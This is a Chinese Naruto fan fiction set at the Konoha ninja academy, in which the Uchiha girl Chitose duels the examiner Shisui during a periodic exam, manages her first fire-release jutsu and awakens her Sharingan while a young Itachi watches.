《宿命—无法改变的宇智波 忍校篇》
1. 第一章 主考官是止水!?
木叶的空气中依旧保持着淡淡的燃叶的味道,一切都和往常一样,历代火影的石像屹立在村子最后方的石壁上,从四代目到一代目,就算是鼻尖也未曾落灰,必然是擦了一遍又一遍。清扫石壁的大叔把石像的维护当做了每天的必修项目。
九尾暴乱,四代目火影牺牲已经过了整整三年。
三代目重新执政,木叶的状况虽不能说蒸蒸日上,也还算是一切顺利。
似乎一切都在回归正轨。
今早的太阳亮的耀眼,一大早,木叶特别上忍教师小林和真顶着黑眼圈一脸不情愿的踏入三年生的教师办公室。
他给自己接了一杯热水,站在窗户前像个小老头似的单手叉腰,小口小口的抿着热水。装出一副早已不属于这个年龄的疲惫。
在确认过今日出勤表后,他更加绝望。原来是伊鲁卡前辈今天出外勤,所以三年生的定期测验的负责工作全部落到了他一个人头上。
“周一的早晨完全提不起兴趣啊…”
教师和真拿起手中的饭团狠狠的咬了一口,在宣泄情绪一般小发雷霆后,他一边嘟囔着一边把手里最后一口饭团吞下,随即便拿起今天工作的文件开始阅览。
其实还在一个月前,他完全不是一副这样的活死人形象。
曾经憧憬这这份工作的他,在从业之后才意识到了现实中忍校的工作与他印象中教师的工作完全不同。
这群小鬼一个个从未让他省心过,自己与其说是教师,不如说是托儿所小哥。真亏伊鲁卡前辈能够在忍校一直坚持到今天。
在感叹伊鲁卡的毅力同时,一边确认今天定期测试的内容。随即目光落在了任务委托信息表上。
哦,原来今天有一位临聘的上忍过来帮忙。和真仿佛捉住了救命稻草,什么嘛,居然有人来帮忙,原来今天不是只有自己一个人出勤。
“让我来看看哪位倒霉虫….”真和打开那份委托文件,还没认真看完几行字,思绪就被一声清脆的少年音打断。
“请问这里是伊鲁卡老师的办公室吗?”
少年敲了敲敞开着的办公室大门,身形清瘦却透着舒展挺拔的劲儿,利落的黑色短发带着自然微卷,蓬松柔软地贴在额角与耳侧,几缕碎发随意散落,不显杂乱反倒添了几分随性。
真和还以为是哪位学生,刚想回应他,目光便落在他的木叶护额上。
差点搞错了,原来是正儿八经的忍者。
不过也是,眼前的少年眉眼舒展开阔,漆黑的眼眸清亮有神,透着与年纪不符的沉稳通透。
嗯,跟我班上那群小鬼完全不一样。
和真一边在内心吐槽着,一边回应着眼前的少年。
“伊鲁卡老师的话,今天出外勤不在哦。”
眼前的少年顿了顿,随即又寒暄道。
“您就是和真老师吧,我是今天被委托来帮助老师完成定期测验的。”
和真汗颜了一秒。
又花了一秒反应过来,等一下,来帮忙的不是上忍吗,眼前这个小朋友是怎么回事。
他一边偷瞄手中刚刚还没读完的委托文件,目光停在了在个人信息,被委托人,宇智波止水那一栏。
和真半信半疑的询问眼前这个少年。
“你的名字是?”
“宇智波止水,请多多指教。”少年铿锵有力的回应道。
还真是他,资料上显示,年仅11岁,就已经跻身上忍。
和真想起自己也是去年才拼死拼活才通过的上忍资格考试,心里不由得觉得莫名不是滋味,自己十一岁的时候在干啥来着….
对面这个少年到底是什么来历,这么厉害。虽然之前就有听说过传说中的宇智波一族天资聪颖,今天才真正体会到什么叫做天才与普通人的差距。
和真一时间该不知道要如何与眼前这个少年沟通,止水像是看出了他的困惑,笑着说。
“和真老师,在资历上您依然还是我的前辈与老师,有什么需要帮忙的直接告诉我就好,我会尽力完成您给我的任务的。”
太有礼貌了!
和真在内心大声宣泄
果然和我班上那群小鬼不一样。
不愧是年仅十一岁就跻身上忍的宇智波止水,对任务的理解以及内容的交接完全不是同龄人可以比拟的,在真和的一顿说明后,止水很快就领悟了今天工作的内容以及形式。
“止水啊,虽然说这是属于忍者任务委托,但是又和普通的任务委托不太一样,实际上需要做的事情可能跟任务表里所写的完全不同。”
和真一边把三年生都召集到训练场,一边小声的提醒站在身旁矮自己两个头的止水。
“这是指…”止水疑惑。
“等会儿你就知道了。”和真叹了一口气,随即调整好状态。转身对着面前的学生们宣布道。
“上周早就与大家透露的消息一样,今天是忍校的定期测验,大家也是三年生了,半年后的忍校毕业考试的结果也会参照这一次定期测验的成绩,所以希望大家打起精神,认真应付…”
“和真老师,你衣服上粘了米诶。”木村没等和真话说完便插嘴道。“老师原来一大早就吃米饭吗?”
和真一低头,自己领子上果然粘了一团米饭,肯定是自己早上饭团吃太急没注意到的,太囧了。
“这是饭团!话说老师也没有那个时间每天早上都吃米饭呀。”和真脸红着解释道。
“老师的女朋友不给你做早餐吗?我妈妈每天早上都会给我爸爸做早餐呢” 水原天真的问道。
“和真老师应该没有女朋友吧,不然也不会这样了。”一向内向的桥本小声的嘀咕着。
“上次我看到和真老师跟一位好漂亮的姐姐在拉面店…”
啊….果然…又是这样。
训练场上与课堂无关的话题此起彼伏,仿佛只要一个题外话就能把课题带偏,要是其他话题便算了,这个话题的主角偏偏还是自己。
和真一副快要哭出来的表情,明明已经决定了不接这群小鬼的题外话了,可是每次他都拒绝不了顺着这群小鬼的话往下说,不知不觉又被带过去了。
止水调皮的闭上一只眼,对着木村微笑道。
“木村同学,你的观察很仔细呢。连和真老师领子上的米粒都能发现,以后似乎可以向感知类的忍者发展,说不定能成为一名感知类优秀的暗部成员。”
“什,什么暗部呀”木村挠了挠头,“我又没想着进暗部…”
“咦?是嘛,我看到你手臂上的暗部纹样,还以为你很憧憬呢。”止水穷追不舍。
木村像是被揭穿了一般,猛的把手上自己画的暗部纹样给遮住,仿佛自己内心的想法被看穿一般,脸红的反驳道。
“才,才不是呢,我只是觉得好玩随便画画的!我又没想着进入暗部。”
止水笑了笑,“不过木村同学观察这么仔细的话,在暗部成为独当一面的忍者也不是不可能哦。可是有一个前提条件哦,你想知道嘛?”止水饶有趣味的看着眼前的男孩。
“是,是什么啊…..”木村特别好奇但是又不好意思的问道。
“对于忍者来说,忍术固然重要,但是最重要的还是信任自己的同伴,上司,部下。”
“这和信任有什么关系啊”木村不解。
“信任的前提就是尊重,
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和真老师是你们的教师,同时也是上司,忍者在执行任务的时候总会碰到不如意的情况,有时候尊重对方的意见,执行对方下达的指令是做为忍者的基本哦。”
“尤其是木村同学,在暗部前辈布置任务时候随便插嘴的话可是会…”止水故意欲言又止。
木村一脸害怕“会,会怎样啊…”
“会….被暗部前辈扔到后山喂大蛇哦”
“什么!”木村吓到石化。
「原来木村怕蛇吗,这是一条有用的情报,记下。」和真从屁股的刃具包里掏出一个笔记本偷偷在角落里写着写什么。
“不过木村同学肯定不会被抓去喂大蛇的,因为接下来要好好听和真老师的安排,对吧?”止水还是一脸处变不惊的微笑。
木村连忙点头,人群瞬间安静下来。
可能是当小朋友中最调皮的那个小鬼老实起来后,其他人不好开嘴,大家都默不作声,只因为怕被扔到后山喂大蛇,没有人继续插嘴了。
平时一向调皮的木村,居然也会有今天这副模样,和真不敢相信。
相较于对木村的碰壁说教,和真心里更佩服止水——只是寥寥几句,便把对方管教得服服帖帖。
他短时间内便摸清了木村的脾性特点,仅凭对方手臂上的图案,就看穿其心向暗部的志向,再用玩笑般的话语,轻松击破了对方的内心防线。
宇智波止水,怎么感觉有点可怕呢。
自己的话居然还不如一个十一岁的小朋友的话有用,和真蹲在内心的角落里画着圈圈。果然,他的教师工作还不够格吗。
止水与一旁还没缓过来的和真说道 “和真老师,可以开始了。”
和真急忙回到正题,再不开始,今天自己恐怕又要加班了。
他和面前的同学们介绍起身边的黑发少年。
“这位是今天暂时替代伊鲁卡老师来帮忙进行定期测验的上忍,宇智波止水。”
“与上周所教的内容一样,能辨认出主考官,止水的瞬身术以及分身术的即算合格。”
底下的同学看着止水这位新面孔,窃窃私语。
“由里香,那个叫止水的主考官是你的族人诶,你认不认识啊。”一位女孩戳了戳身边黑色短发的女孩。
由里香无语的撇了对方一眼,“族里那么多人,我怎么可能全部认识啊。”
“好吧,我还以为你们认识呢。”女孩撇撇嘴,不继续询问。
“好啦,安静下来,接下来我将会随机给大家分配小队,原则上三人一个小队,每次测验三人同时进行,考察忍术的同时,也需要你们进行团队配合。”
好久没这么不被打扰,酣畅淋漓的上过课了,和真在内心暗爽。
止水,有你真好!
接下来应该不会出什么意外了吧,嗯,只要说明完考试规则然后再分配小组就可以了…
“大家都应该到齐了吧,那我就不点名了,先从….”和真盯这手中的花名册,打算开始进行小队分配。
“老师,千歳好像还没来。”
….
我就知道,老天不会让我这么好过的。总是给我弄出点什么意外。
和真轻轻闭上眼,他回想着上周对千歳再三强调过今天不能迟到,果然又迟到了。
考试规则原则上是需要所有学生到场在进行说明的,也怪我,没有提前确认好成员到场情况。
和真要崩溃了,如果伊鲁卡前辈在这里,又要开始训人了。
“和真老师,要不然先开始吧,还没到场的同学顺序暂时往后挪。”止水看出了和真的窘迫,建议道。
事到如今,也只能这样了。
2. 第二章 千歲vs止水
与此同时,宇智波自治区。
宇智波枭府邸。
阳光刚漫过窗帘,千歳是被窗外乌鸦叫闹醒的,她迷迷糊糊伸手往床头一摸,指尖碰到冰凉的闹钟外壳,眯眼一看,已经上午十点了。
大脑空白两秒,她猛地从床上弹起来,拖鞋都踢飞一只,换下睡衣抓着闹钟就往楼下冲,木质楼梯被踩得咚咚响,活像一阵旋风卷过客厅。
哗啦一下,和式推拉门被拉开。
“老爸!”
人还没到客厅,声音先炸了进来。
正坐在院子榻榻米旁慢悠悠端着茶杯的宇智波枭,被这突如其来的一嗓子惊得手一抖,刚入口的温热茶水没忍住。
“噗”地一声全喷了出来,和服羽织前襟瞬间晕开一大片浅褐色水渍,连下巴和鼻尖都挂着水珠,整个人呆在原地,一脸懵地看着冲下来的女儿。
千歳刹住脚,看着自家老爸狼狈模样,火气先消了一半:“我不是说今天要叫我起床吗!”
宇智波枭放下茶杯,抽了张纸巾胡乱擦着衣服,有这回事吗?他回想着。
好像确实有这么回事,不过昨晚那时候他光顾着照顾院子池子里那枚鲤鱼,完全忘到脑后去了。
可看着自己刚泡好的撒了一身的茶水,他又气不打一处来。
“干嘛不自己定好闹钟,我的茶全洒了。”
千歳一边收拾自己,一边生气的反驳。
“你就知道天天喝茶,要是今天缺考,和真老师今天一定会把我砍成薯片的!”
“反正都迟到了,吃了早餐再去吧。”宇智波枭拿起茶壶又准备重泡一壶。
“我才不想早餐就吃纳豆和烤青花鱼!”
下一秒,少女身影在客厅里微微模糊,只留下一道轻影和带起的小风,人已经冲到玄关。
“你自己慢慢吃吧!”
门口只留下一句轻快的喊话,人已消失在视线里。
「纳豆和烤青花鱼怎么了吗。」老古董宇智波枭不解,貌似自己做的早餐也没有那么不堪吧。
想着,随即抿了一口新泡好的茶,差点被自己烫到嘴。
又撒了自己一身。
宇智波枭盯着只剩一半茶水的杯子不语。
下次早餐偶尔也做点其他吃的吧。
忍校训练场。
“下一组,宇智波由里香,浅野光,宇智波千歳”
“和真老师,千歳还没到。”由里香黑着脸抱怨,浅野光在一旁面无表情。
千歳、你要是再不来我也得被伊鲁卡前辈骂了。和真在内心崩溃。
“我和浅野两人一组先进行考试也行。”由里香叹了口气,无奈的说道。“反正少她一个人结果也一样。”
“要不再等等…”和真窝囊回答道。
“接下来放学我还有个人任务,提早开始提早结束吧。”浅野光也附和。
面前两位成绩前茅的优等生的施压,和真甚至不知道谁是老师谁是学生,窝囊于自己的妥协。
“那也只能这样了。”和真答应道。
止水不语,既然和真都这么说了,那就只能提前开始了。
一阵急促的风声掠过街道,少女的身影在街角一闪而逝,连续几次轻巧的瞬身,总算赶在最后最后一组考试即将结束前之前冲了进来。
和真看着她这副匆匆赶来的模样,头上冒起了红色十字路口。
“千歳、你还知道今天定期测验啊。”
她扶着膝盖微微弯腰,米色的长发散乱,胸口随着急促的呼吸不住起伏,额角渗出细密的汗珠,连说话都带着喘:
“老师……对不起,我迟到了……昨天练瞬身术太晚,早上不小心睡过头了……考试还没结束吧?”
和真看着眼前少女狼狈的样子,内心嘟囔道,看来也不是所有的宇智波都是那么的可靠。
“很不巧,刚结束最后一组,你不能毕业了。”真和打击道。
“什么!”千歳石化。
“和真老师,我再也不迟到了再给我一次机会吧!!”
千歳激动的泪颜。
和真原本只是想逗一逗她,看到她这副样子,还是心软,无奈地摇了摇头,抬手朝考场内示意了一下。
“本来是三人一组,因为你迟到,原本和你一组的成员提前结束考试了,所以这场考试只有你一个人。”
“意思是说….”千歲疑惑。
和真从后面从身后语重心长的拍了拍千歲的肩膀,“意思就是说,你要一个人挑战主考官了。”
黑发少年一个瞬身出现在和真面前,“和真老师,上一场结束的训练场已经打扫好了。”
千歲这才看清楚那个利落的黑色卷发少年的模样。
“止水!”双圆溜溜的杏眼骤然睁到最大,像被点了穴的小狐狸。她惊讶的喊出声,没想到能在忍校碰到他。
止水看到千歲惊讶的表情,黑色的眼眸弯成月牙,唇角勾着那抹她最熟悉的微笑,朝她挥了挥手。
“早啊,千歲。”
千歲不敢置信的看着眼前的男孩,随即像是明白了些什么,恍然大悟转身向和真询问道。
“和真老师,止水是来参加补考的吗?”
和真差点被问无语到。
“…怎么可能,止水是这场考试的主考官。”
“主考官!?”千歲的动作戛然而止,整个人像被施了定身术一般瞳孔地震,头顶那撮翘起来的呆毛都蔫蔫地垂了下去,像是被雷劈中了一般。
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和真看到千歲这副样子怪好玩儿的,随即坏坏的安慰道:“原来你们两个人认识啊,正好让老师看看你们的宇智波对决。”
如果对手是伊鲁卡老师就算了,偏偏是止水,况且原本是三人小组一起合作,现在的情况,只有她一个人。她就算是想出一百种方法也赢不了。
“好了,看在你孤军奋战的份儿上,老师给你降低条件。只要你能使用出火遁,或者击中止水一次,老师算你合格。”和真打趣。
“….和真老师,你压根没打算让我通过考试吧。”千歲嘟囔道。
“和真老师想看宇智波对决的话为什么不让由里香和止水对决。”千歲不服气的对和真说。
一旁的由里香听到千歲把自己扯进去,随即又黑着脸反驳。
“谁让你自己要迟到啊,只是使用出火遁对宇智波来说已经很仁慈了好吗。”
没错,对于执掌火之团扇的宇智波一族来说,火遁的精通可谓是家常便饭。可谁承想,火遁偏偏是千歲最苦手的忍术。也是她最惧怕的忍术。
“好啦好啦,你俩别拌嘴了,考试规则明白了吗,千歲?”和真出面当和事佬。
千歲把求救的目光投向了止水,乞求止水待会儿考试给他放放水。可看到止水的笑脸的同时,便马上打消了这个念头。
一脸不受贿赂的表情。事到如今,只能硬着头皮上了。
千歲是知道止水的实力的。十一岁跻身上忍,开眼强大的三勾玉写轮眼。她常常羡慕止水的写轮眼,年纪轻轻就拥有常人所难以达到的瞳力。未曾开眼的她,根本就不是止水的对手。
“迟到归迟到,考试还是要考的。”止水往前走近半步,声音放轻,带着点调侃,“不过看在是熟人的份上,等会儿可以对你稍微温柔一点。”
“真的吗!?”千歲像一只小兔子一样快要跃起来。
“当然是假的。”止水笑出声。
…..
“什么嘛,止水干嘛说话也变得和真老师那样了。”千歲撇撇嘴。
“我哪样?”和真莫名其妙的又被cue到了。
虽说是最后一场考试,训练场上的聚集的人却越来越多,临近放学时间,不妨有一年生和二年生凑过来看热闹。
真正踏上决斗场与止水面对面时,千歲才意识到情况特别不妙。周围聚集越来越多的人,让她越发紧张。
止水察觉到了千歲的不安,安慰道。“只要成功击中我一次,你就赢了。”
止水单手解印放在胸前。
“抱着必胜的决心来打败我吧。”
随即,面前的少年瞳孔的勾玉飞快的旋转,勾勒出三勾玉的形状。
“就算对手是千歳、我也会全力以赴的。”
3. 第三章 火遁?我也可以做到
千歲的目光死死锁在止水的双眼上,那清晰的三勾玉在猩红眼底缓缓转动,压迫感十足,像一张无形的网骤然笼罩下来。
她握着忍具的手指不自觉收紧,心底那股劲头瞬间泄了大半,下意识往后撤了半步,打退堂鼓的念头疯长:止水这家伙,居然连写轮眼都用上了吗。
周遭的动静越来越嘈杂,围观的学生从三三两两聚成了密不透风的人墙,议论声如同潮水般此起彼伏。
“快看快看,是三年级生的对决!”
“那、那是宇智波一族的写轮眼?我还是第一次亲眼见到!”
宇智波同族对决的噱头,像磁石一般吸引着越来越多的学生涌来,目光尽数聚焦在场地中央的两人身上,艳羡、好奇、惊叹的视线落在止水的写轮眼上。
“止水前辈好帅啊…”
一位女孩星星眼盯着止水,随即又转头跟身边的由里香问道:“话说千歲真的是你们宇智波一族的吗?”
“什么意思?”由利香狐疑。
“亮色的发色,以及下手的火遁。怎么看也不像是宇智波吧。”“而且她也跟由里香和止水前辈一样没有写轮眼,宇智波不是大家都有写轮眼嘛。”
这句话像是戳中了由里香的痛处一般
“你不会以为写轮眼是什么很便利的血继界限吧?”
女孩被由里香问愣了。
“千歲就是宇智波,是我的族人,不论她有没有开眼。”
“什么嘛,你们关系不是不好嘛…干嘛这么扫兴。”女孩惺惺的走开。
….
被众人目光裹挟着,千歲攥紧的拳头微微颤抖。抬眼望向止水,眼底的退缩尽数褪去,取而代之的是燃得炽热的战意。
心底只剩一个念头:无论如何,都要打败眼前的止水。
和真一声“比试开始”话音刚落,千歲便从忍具包利掏出一枚苦无,大喊:
“我要上了!”
便正面冲了上去。
“这个笨蛋…哪有一上来就大喊我要上了还从正面攻击的啊…”由里香看着面前打斗的两人,不禁扶额。
三勾玉写轮眼平稳转动,将千歲的每一个动作、每一缕查克拉流动都尽收眼底。
急着从正面攻击的千歲,在苦无就快要触碰到止水的那一瞬间。止水像是凭空消失,无影无踪。
千歲知道这是他的瞬身术,她环顾四周不断寻找止水的身影。
此时,从身后传来一道清脆的声音
“我在这里呢,千歲。”
在身后!
千歲往身后猛挥苦无,可是依旧没有打中。
止水身形轻捷,即便身处攻防中心,依旧保持着从容姿态,衣角不见半分慌乱,周身散发的气场沉稳得不像正在对决,反倒像在从容观察、引导。
他出手精准狠厉,每一次格挡、每一次反击都恰到好处,既牢牢压制住攻势,又未留半分放水痕迹。
千歲咬紧牙关,查克拉在体内急速奔涌,手臂因频繁结印微微发酸,实力上的差距让她感到窒息。止水的攻击总能先她一步预判,写轮眼的洞察让她所有战术都无所遁形。
数次闪避后,她发丝凌乱,呼吸急促,额角渗出汗珠,身体早已传来疲惫的预警。
从刚刚发起进攻到现在,她所有攻击就没有打中过一次。
千歲的忍术与体术交织,拼尽全力发起猛攻,每一招都倾尽意志,哪怕被止水轻巧化解,也立刻调整姿态再度冲锋。
止水侧身避开她的直拳,指尖轻弹便卸去她忍具的力道,攻势看似凌厉,却始终留着分寸,既让她感受到实打实的压力,又未曾真正伤她分毫。
“干嘛一直躲呀!”千歲有点恼羞成怒。
止水噗嗤一声差点没笑出来。
“不躲的话,被千歲的力气打中一拳我可能要住半个月医院了。”
止水看清她眼底的倔强与执着,心头微动,出手却依旧利落,这场对决,他要以全力,回应她绝不认输的意志。
周遭的惊呼与喝彩此起彼伏,千歲的动作渐渐迟缓,却依旧死死盯着止水,脚步稳立不退。她自己深知,没有写轮眼的自己根本无法与止水所抗衡。
千歲急促地喘着气,只凭体术,根本不可能碰到他。
目光不自觉凝向指尖,查克拉在掌心微微躁动,一个念头让她顿了顿——难道,真的要用自己最不擅长的火遁了?
她向来偏爱体术的利落,火遁结印生疏,查克拉掌控也远不如族人精准,可眼下,这是唯一能打破僵局的办法。
心底的退缩刚冒头,就被那股不服输的意志狠狠压下,她攥紧拳,强迫自己镇定下来,不擅长又如何,总不能就此认输。
深吸一口气,千歲脚步骤然变向,借着体术突进的惯性,双手飞速结印,生疏的印法让她指尖微微发颤,额角渗出细密的汗珠,却咬着牙一气呵成。
“火遁·豪火球之术!”
掌心的查克拉几次翻腾涌动,却都在结印的瞬间紊乱。
生疏的指节僵硬地交错,反复尝试的豪火球始终只化作一缕苍白的白烟,连半点火星都无法凝聚。
“火遁·豪火球之术!”
无论结印多少次,火球都无法成型。
“她真的是宇智波一族的吗?”
“宇智波不应该都善用火遁吗…”
周边嘈杂的质疑声音却听的实在清楚。
这样的话,她不只听到过一次了。
话语毫不客气地扎进千歲的耳朵里,比刚才施展不出火遁的挫败更让她心口发闷。
“真的是宇智波家的人吗?”
“发色跟大家完全不一样,写轮眼也开不了,怎么看都不像宇智波吧。”
“连最基础的火遁都用成这样,之前就一直觉得她很奇怪了。”
一句接一句的低语混在嘈杂里,清晰得刺耳,像细小的石子不断砸在她心上。
这些话她并不陌生。从进入忍校第一天起,类似的质疑就如影随形。
异样的目光、背后的窃窃私语、藏在礼貌之下的怀疑——因为她与众不同的发色。
因为迟迟未能觉醒的写轮眼。
因为对宇智波引以为傲的火遁格外生疏。
所有人都在无声地问:她真的是宇智波吗?
长久以来的议论堆积在心底,此刻被彻底翻涌上来。
自己衣袍背后的宇智波族徽,凹凸的纹路触在指尖,熟悉却又陌生。
无数次的质疑声渐渐重叠,让她原本坚定的内心泛起了动摇,连她自己都开始怀疑:
也许,自己真的和这枚象征着天赋的族徽格格不入。
或许,自己身上也从未流淌过宇智波一族的血脉。
挫败感如同潮水般漫上心头,她死死盯着止水那双转动的三勾玉写轮眼。
「好想要开眼。」
心底的焦灼几乎要将她吞噬,可不服输的意志依旧在胸腔里灼烧,不肯有半分退让。
就在她再次仓促结印,查克拉再度失控溃散的刹那,一段陌生的记忆毫无征兆地冲破脑海,猝不及防地将她裹挟其中。
视野被漫天硝烟所占据,那是全然陌生的战国景象,与此刻平静的忍校截然不同。
立于硝烟之上的,是一位身着宇智波族服的男子,绀色的衣袍沾染着风尘,利落硬挺的黑色长发衬得他面容冷峻凌厉。
这是,谁的记忆。
男子低沉的嗓音穿透时空的壁垒,一字一句落在心底:“火遁不是强行催动,查克拉的流转要与呼吸同频,顺着脉络,引起星火即可。”
那位男子缓慢却精准地纠正每一个印式,动作耐心,与他冷峻的外表截然不同,那熟悉的宇智波族徽,在战火纷飞的背景里,格外醒目。
这段记忆太过真实,真实到他的话语还在耳畔回响,可千歲的心头却翻涌起浓烈的疑惑。
她从未见过这个冷峻的宇智波男子,更不曾有过这般被人亲手教导火遁的经历,可记忆里的触感、声音、甚至他衣袍的纹路,都清晰得如同昨日亲历。
是幻觉?是梦境?还是……某种她无法理解的未知联结?
来不及细想,止水的攻势已然逼近,千歲猛地从这段突兀的记忆中回神,眼底的迷茫与疑惑交织,却下意识顺着脑海里残存的指引,放缓呼吸,调整紊乱的查克拉,指尖缓缓结印。
不再急于求成,不再强行催动,而是循着那陌生的指引,让查克拉与呼吸同步。
“火遁·豪火球之术”
微弱的查克拉从丹田升起,顺着脉络汇聚喉咙,没有磅礴的声势,只有一簇小小成型的火苗,自她的唇间地跃动起来。
火苗浅淡纤细,小小的一团,全然没有宇智波火遁惯有的霸道。
却实实在在,挣脱了过往的生疏与失败,成功燃起了属于她的第一簇火遁火焰。
“我成功了…”
那簇小巧得近乎看不见的火苗尚未熄灭,止水原本游刃有余的神情里,掠过一丝极淡却真切的讶异,随即是压不住的赞许。
他收了即将递出的攻势,身形稳稳立定,目光落在那点浅淡火光上,没有丝毫轻视,反倒带着几分认真的欣赏——他清楚千歲对火遁的生疏,更明白这一簇小火,对她而言有多不易。
周围此起彼伏的质疑声,也在那簇火苗燃起的瞬间,突兀地顿了半拍。
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“……真的用出来了。”
“虽然很小,但那确实是火遁查克拉的气息。”
“之前连成型都做不到,居然真的成功了……”
先前嘲讽与怀疑的语调淡了下去,取而代之的是小声的惊讶。
不少人盯着那团微弱却稳定燃烧的小火,再看向她紧绷却不肯低头的侧脸,目光里的轻视悄悄褪去了几分。
即便依旧没有宇智波标志性的磅礴火焰,可从屡次失败到硬生生凝聚出查克拉火焰,这份咬牙坚持的韧劲,已然让围观者收起了随口的嘲讽。
人群中的议论渐渐变了风向,不再是全然的质疑,多了些复杂的认可。
止水望着被焰光映得眼睫微亮的千歲,没有多说一句话,却以认真应对的姿态,无声替她认可了这份来之不易的成果。
由里香的掌声打破了现场几乎沉寂的氛围,随着一人的掌声,围观的学生也开始响起稀稀拉拉的掌声。
“此次比试,胜者,宇智波千歲!”
和真也没想到会是这样热血的结果。
千歲紧绷着的神经终于放松下来,浑身脱力感如潮水般席卷而来,四肢都泛起酸软,方才强撑的战意与意志瞬间抽离,眼前阵阵发黑,身体不受控制地朝着一侧软倒下去。
下一秒,一道身影快如残影,瞬身术悄无声息展开,止水几乎在她倾倒的瞬间伸手稳稳扶住了她单薄的肩背,将人揽在臂弯间,力道轻柔却稳妥,全然没了方才对战时的凌厉锋芒。
“千歲?”
他垂眸查看千歲的状况,目光落在她脸上时,呼吸却微微一滞。
千歲原本闭着的眼睫轻颤,缓缓睁开双眼,原本澄澈的眸底,已然染上一层浅淡的红色,一枚勾玉在眼底缓缓转动,虽稚嫩单薄,却真切地昭示着她的写轮眼,在此刻终于觉醒。
“我终于用出火遁了,你看我厉害吧?”
千歲刚回过神,立刻仰起脸朝止水邀功,像只好不容易抓住鲤鱼的小猫。
“嗯,成功了哦。”止水忍不住弯眼打趣,“照这个势头,千歲很快就要超过我了。”
“止水……”
“怎么啦?”
她愣了愣,才低头注意到自己的膝盖,一道被苦无划开的不浅的伤口正渗着血,瞬间小脸一白,
“我膝盖流血了,我不会快死了吧。”
止水看着她紧张的模样,故意板起脸,一本正经地吓唬她:
“唔,有可能,说不定再过几秒就没法呼吸了。”
“什么??和真老师!和真老师!救命!我快要不行了!”
千歲当场急得手忙脚乱,转头就慌慌张张四处找人。
“真是服了你了。”
和真无奈地走过来,掏出绷带蹲下身,一边包扎一边叹气:
“刚才还觉得你有点成长了,结果还是老样子。”
“好疼啊。”千歲现在才感受到伤口的疼痛感。
“好了别乱动,不然明天就带你去截肢。”和真继续吓唬她。
千歲不说话了,忍着酒精的痛感乖乖的让和真给自己包扎。
人群边缘,刚入学的一年生宇智波鼬安静地站在那里,从头到尾看完了这场比试。
他双手自然垂在身侧,表情依旧沉静,只是目光比平时多了几分专注。
场内的喧闹、旁人的议论都像隔了一层,他眼里只有方才那场认真到近乎执拗的战斗——少女一次次失败却不肯放弃,直到火球燃起,直到一勾玉写轮眼在她眼底悄然睁开。
直到比试结束,喧闹变成轻松的笑闹。
止水扶着千歲,两人说话间带着轻松的打趣;
千歲慌慌张张喊老师,和真老师无奈又纵容地替她包扎,几个人凑在一起,气氛明快又温暖。
鼬静静望着这一幕。
平日里在宇智波富岳的教育下,他见多了宇智波的骄傲、严苛与力量,却很少见到这样鲜活日常的光景。
止水始终从容温和,即便认真对战也藏着温柔;千歲明明实力尚浅,却凭着一股韧劲开了眼,下一秒又为一点小伤口慌得手足无措,可爱又真实。
夕阳落在他们身上,轻松又安稳。
鼬微微侧目,目光在两人身上稍作停留,心里第一次清晰地被这副画面吸引——原来同族之间,也可以是这样轻松、温暖、充满烟火气的模样。
平日里总是冷淡紧绷的眉眼,此刻稍稍舒展了些许,不再是习惯性的严肃。
他看着千歲凑在止水身边叽叽喳喳,又慌慌张张找老师包扎,原本没什么波澜的脸上,嘴角极轻、极淡地动了一下,几乎难以察觉,却让整个人少了几分疏离,多了一点不易发现的柔和。
4. 第四章 初次见面 我是宇智波鼬
夜色漫过宇智波族地的高墙,宇智波枭府邸依旧亮着灯。
千歲压根没心思睡,在榻榻米上跑来跑去,只要瞥见父亲宇智波枭端坐在矮桌前,就立刻凑上去,恨不得把那只刚开眼的写轮眼凑到他眼皮子底下。
“老爸,你再看一眼!真的是一勾玉对吧?”她兴奋得脸颊通红。
“你说我什么时候能开三勾玉呀?就像止水那样,结印又快,根本没人是他的对手!”
宇智波枭端着茶碗的手顿了顿,茶盖与碗沿相碰,发出一声轻响。
他慢条斯理地抿了口热茶,目光掠过女儿天真的眼睛,眼底没什么波澜,心里却暗自叹气:今晚已经问了第八遍了。
见父亲不答话,千歲不依不饶地拽住他的衣袖,晃了晃:“老爸!干嘛不理我呀?”
好吵。
宇智波枭在心里默念了一句,指尖无意识地摩挲着茶碗的纹路。
止水,他是知道的。天赋卓绝,心性沉稳,是族里难得的好苗子。
可女儿嘴里三句不离“止水”,从傍晚止水把她送回家开始,这名字就没停过,虽说两家就隔一条街,不过是顺路的小事,她却翻来覆去提起了好多次这个名字。
宇智波枭眉头微不可察地皱了皱,心里有些不是滋味。千歲从小就黏人,如今眼里却只剩下那个宇智波的天才少年了。
他放下茶碗,终于抬眼看向女儿,语气淡淡的,带着几分刻意的泼冷水:“三勾玉?急什么。”
千歲的期待瞬间凝固在脸上。
“说不定明天这勾玉就没了。”宇智波枭说着,嘴角似笑非笑,看似玩笑,眼底却藏着一丝不易察觉的沉重。
“毕竟开眼哪是那么容易的事,你不过是撞了大运罢了。”
他当然希望这是“撞大运”。
写轮眼从来都伴随着血泪与痛楚。
太多族人因失去重要之人而开眼,那双眼睛里的勾玉,每多一道,就多了一份沉甸的过往。
说实在的,他宁愿千歲一辈子做个普通的宇智波,没有惊艳的天赋,也不必背负那些属于强者的宿命。
千岁却不服气地鼓起腮帮子:“才不会,我肯定能像止水一样,开三勾玉,我还要开万花筒!”
“止水,止水。”宇智波枭低声重复了一遍这个名字,心里颇有些无奈,“你眼里除了止水和写轮眼,就没别的了?”
“可是我今天在定期测验打败了止水诶!”千歲不服气。
我没听错吧?宇智波枭狐疑。
止水那小子是放了多大的水。
宇智波枭看着她那副模样,心里的郁结稍稍散去,只是端起茶碗,又恢复了那副淡然的模样:
“行了,吵了一晚上,还不累?去睡。再不睡,别说三勾玉,连这一勾玉都要被你熬没了。”
夜色里,枭独自坐在黑暗中,指尖的余温早已散去。止水那孩子是不错,可他更希望,女儿永远都不用追上那个天才的脚步。
毕竟,在宇智波,太过耀眼的光,往往燃得最快。
翌日
天刚蒙蒙亮,千歲破天荒地没赖床,早早掀开被子起了身,连宇智波枭都难得抬眼瞥了她一下。
厨房飘出不同于往日的香气,餐桌上没有她最嫌弃的纳豆与烤青花鱼,取而代之的是温热的牛奶与抹好果酱的松软吐司。
千歲凑到桌前,满脸不可思议:“老爸,今天太阳是从西边出来了吗?居然没有纳豆。”
宇智波枭擦拭着手里的茶杯,语气淡淡带着不容置喙的强硬:“不吃就放下。”
“我吃我吃!”千歲立刻抓起吐司咬了一大口,含糊不清地应着,生怕父亲下一秒就把眼前的早餐换成自己讨厌的样式。
